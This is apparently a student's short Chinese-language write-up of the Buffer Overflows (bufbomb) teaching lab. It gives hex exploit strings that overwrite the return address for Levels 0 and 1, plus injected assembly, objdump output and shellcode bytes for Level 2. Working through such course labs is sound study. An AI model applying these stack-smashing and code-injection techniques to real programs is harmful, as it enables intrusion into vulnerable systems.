Buffer Overflows Lab

標籤：

stack 大概長這樣

 

Level 0: Candle

只要覆蓋掉return 就行了

比如：

c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 

 

 

 

Level 1: Sparkler

要求將 arg 變為 cookie值

c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 70 10 40 00 00 00 00 00 b6 c4 fd 29 b2 96 02 3f b6 c4 fd 29 b2 96 02 3f

 

 

Level 2: Firecracker

要求將 bang 裡面的global value 設為 cookie 值。

思路是：先return到 stack 上的特定程式碼片段，執行我們替換global value 的代碼，然後在返回到bang函數

替換 global 的彙編代碼為

mov 0x602320, %rsi mov %rsi, 0x602308push $0x00401020retq

 

通過 

$ gcc -c test.s$ objdump -d test.o > test.d

 

產生二進位代碼

test.o:     file format elf64-x86-64Disassembly of section .text:0000000000000000 <.text>:   0:    48 8b 34 25 20 23 60     mov    0x602320,%rsi   7:    00    8:    48 89 34 25 08 23 60     mov    %rsi,0x602308   f:    00   10:    68 20 10 40 00           pushq  $0x401020  15:    c3                       retq   

 然後將這段二進位代碼插入特定stack段

48 8b 34 25 20 23 60 00 48 89 34 25 08 23 60 00 68 20 10 40 00 c3 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 c0 10 40 00 00 00 00 00 00 b7 ff ff ff 7f 00 00

 這樣就ok了

 

 

Extra Credit – Level 3: Dynamite 下次在做

 

 

2015-09-28

Buffer Overflows Lab